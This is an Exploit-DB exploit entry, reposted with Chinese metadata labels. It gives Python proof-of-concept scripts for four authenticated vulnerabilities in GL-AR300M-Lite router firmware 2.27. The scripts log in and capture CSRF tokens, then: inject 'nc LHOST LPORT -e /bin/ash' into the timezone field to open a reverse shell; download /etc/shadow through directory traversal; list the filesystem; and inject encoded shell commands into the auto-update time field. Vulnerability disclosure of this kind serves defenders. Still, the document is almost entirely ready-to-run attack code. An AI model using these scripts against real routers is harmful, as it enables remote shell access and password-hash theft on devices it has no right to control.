GL-AR300M-Lite 2.27 – (Authenticated) Command Injection / Arbitrary File Download / Directory Traversal

  • 作者: Pasquale Turi
    日期: 2019-01-16
  • 类别:
    平台:
  • 来源:https://www.exploit-db.com/exploits/46179/
  • # Exploit Title: GL-AR300M-Lite Authenticated Command injection - Arbitrary file download - Directory Traversal
    # Date: 15/1/2019
    # Exploit Author: Pasquale Turi aka boombyte
    # Vendor Homepage: https://www.gl-inet.com/
    # Software Link: https://www.gl-inet.com/products/gl-ar300m/
    # Version: Firmware version 2.27
    # CVE : CVE-2019-6272 - CVE-2019-6273 - CVE-2019-6274 - CVE-2019-6275
    
    
    #CVE-2019-6272 PoC (Command injection):
    
    import requests
    
    rhost='RHOST'
    lhost='LHOST' 
    lport ='LPORT'
    password='PASSWORD'
    r=requests.get('http://'+rhost+'/login.html')
    cookie=r.cookies
    r2=requests.get('http://'+rhost+'/cgi-bin/login_cgi?action=checklogin',cookies=cookie)
    header={'X-CSRF-TOKEN':r2.text[13:45]}
    r3=requests.post('http://'+rhost+'/cgi-bin/login_cgi',headers=header,cookies=r2.cookies,data={'action':'login','password':password,'code':''})
    header={'X-CSRF-TOKEN':r3.text[31:63]}
    r4=requests.post('http://'+rhost+'/cgi-bin/login_cgi',headers=header,cookies=r3.cookies,data={'action':'settimezone','timezone':'`nc '+lhost+' '+lport+' -e /bin/ash`'})
    
    
    #CVE-2019-6273 (Arbitrary file download) PoC:
    
    import requests
    
    rhost='RHOST'
    password='PASSWORD'
    file_path='/etc/shadow'
    r=requests.get('http://'+rhost+'/login.html')
    cookie=r.cookies
    r2=requests.get('http://'+rhost+'/cgi-bin/login_cgi?action=checklogin',cookies=cookie)
    header={'X-CSRF-TOKEN':r2.text[13:45]}
    r3=requests.post('http://'+rhost+'/cgi-bin/login_cgi',headers=header,cookies=r2.cookies,data={'action':'login','password':password,'code':''})
    header={'X-CSRF-TOKEN':r3.text[31:63]}
    r4=requests.get('http://'+rhost+'/cgi-bin/download_file?/mnt/..'+file_path,headers=header,cookies=r3.cookies)
    print r4.text
    
    
    #CVE-2019-6274 (Path Trasversal) PoC:
    
    import requests
    
    rhost='RHOST'
    password='PASSWORD'
    path='/'
    r=requests.get('http://'+rhost+'/login.html')
    cookie=r.cookies
    r2=requests.get('http://'+rhost+'/cgi-bin/login_cgi?action=checklogin',cookies=cookie)
    header={'X-CSRF-TOKEN':r2.text[13:45]}
    r3=requests.post('http://'+rhost+'/cgi-bin/login_cgi',headers=header,cookies=r2.cookies,data={'action':'login','password':password,'code':''})
    header={'X-CSRF-TOKEN':r3.text[31:63]}
    r4=requests.get('http://'+rhost+'/cgi-bin/storage_cgi?id=2&pwd='+path,headers=header,cookies=r3.cookies)
    print r4.text
    
    
    #CVE-2019-6275 (Another command injection):
    
    import requests
    
    rhost='RHOST'
    lhost='LHOST' 
    lport ='LPORT'
    password='PASSWORD'
    r=requests.get('http://'+rhost+'/login.html')
    cookie=r.cookies
    r2=requests.get('http://'+rhost+'/cgi-bin/login_cgi?action=checklogin',cookies=cookie)
    header={'X-CSRF-TOKEN':r2.text[13:45]}
    r3=requests.post('http://'+rhost+'/cgi-bin/login_cgi',headers=header,cookies=r2.cookies,data={'action':'login','password':password,'code':''})
    header={'X-CSRF-TOKEN':r3.text[31:63]}
    r4=requests.post('http://'+rhost+'/cgi-bin/firmware_cgi?action=setautoupdate&auto_update=off&update_time=04%3a00%7cecho%20qydre8t159%201%7c%7ca%20%23\'%20%7cecho%20%20%60id%60%7c%7ca%20%23%7c%22%20%7cecho%20a%201%7c%7ca%20%23&_=1547223055153 ',headers=header,cookies=r3.cookies,)
    print r4.text